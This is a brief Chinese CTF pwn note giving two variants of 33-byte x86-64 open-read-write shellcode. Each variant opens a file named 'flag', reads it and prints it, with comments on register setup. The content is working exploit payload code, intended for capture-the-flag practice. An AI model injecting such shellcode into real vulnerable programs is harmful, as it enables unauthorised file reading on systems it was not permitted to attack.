PWN ORW 最短的shellcode 33字节!
rdx 就是read(1,buf,n)中的n,这个值太大或者太小都没办法正常读,小了读不完整,大了会覆盖到不可写区域导致写入失败。所以分两种情况:
shellcode = asm(''' mov edx,0x67616c66 #写文件名的同时置rdx为合法值 push rdx mov rdi,rsp xor esi,esi #如果本来rsi=0,可以删掉这句 mov eax,2 syscall mov edi,eax mov rsi,rsp xor eax,eax syscall #read(0,buf,n) xor edi,2 #打开文件默认从3开始,3 xor 2 = 1。如果不是的话需要自己算一下操作数 mov eax,edi syscall #write(1,buf,n) ''')
shellcode = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi #如果本来rsi=0,可以删掉这句 mov eax,2 syscall mov edi,eax mov rsi,rsp xor eax,eax syscall xor edi,2 #打开文件默认从3开始,3 xor 2 = 1。如果不是的话需要自己算一下操作数,保证rdi=1即可 mov eax,edi syscall #write(1,buf,n) ''')